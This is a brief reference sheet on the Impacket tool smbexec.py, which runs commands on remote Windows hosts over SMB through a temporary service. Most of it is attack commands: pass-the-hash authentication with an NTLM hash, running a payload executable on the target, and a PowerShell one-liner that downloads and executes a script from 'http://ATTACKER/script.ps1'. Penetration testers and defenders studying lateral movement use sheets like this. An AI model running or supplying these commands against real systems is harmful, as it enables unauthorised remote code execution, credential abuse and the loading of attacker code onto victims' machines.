Summery
smbexec.py is an Impacket tool for remotely executing commands on Windows over SMB. It creates and starts a temporary Windows service on the target, executes the command, and retrieves its output.
It generally requires administrative privileges on the target because creating and starting a remote service requires administrator rights.
Commands
smbexec.py DOMAIN/USER:PASSWORD@TARGET "whoami" - Basic syntax and execute a command.
smbexec.py -hashes :NTHASH DOMAIN/USER@TARGET "whoami" - Authenticate using an NTLM hash.
smbexec.py DOMAIN/USER:PASSWORD@TARGET "C:\Temp\payload.exe" - Execute a program already present on the remote host.
smbexec.py DOMAIN/USER:PASSWORD@TARGET "powershell.exe -c IEX((New-Object Net.WebClient).DownloadString('http://ATTACKER/script.ps1'))" - Download and execute remote PowerShell code.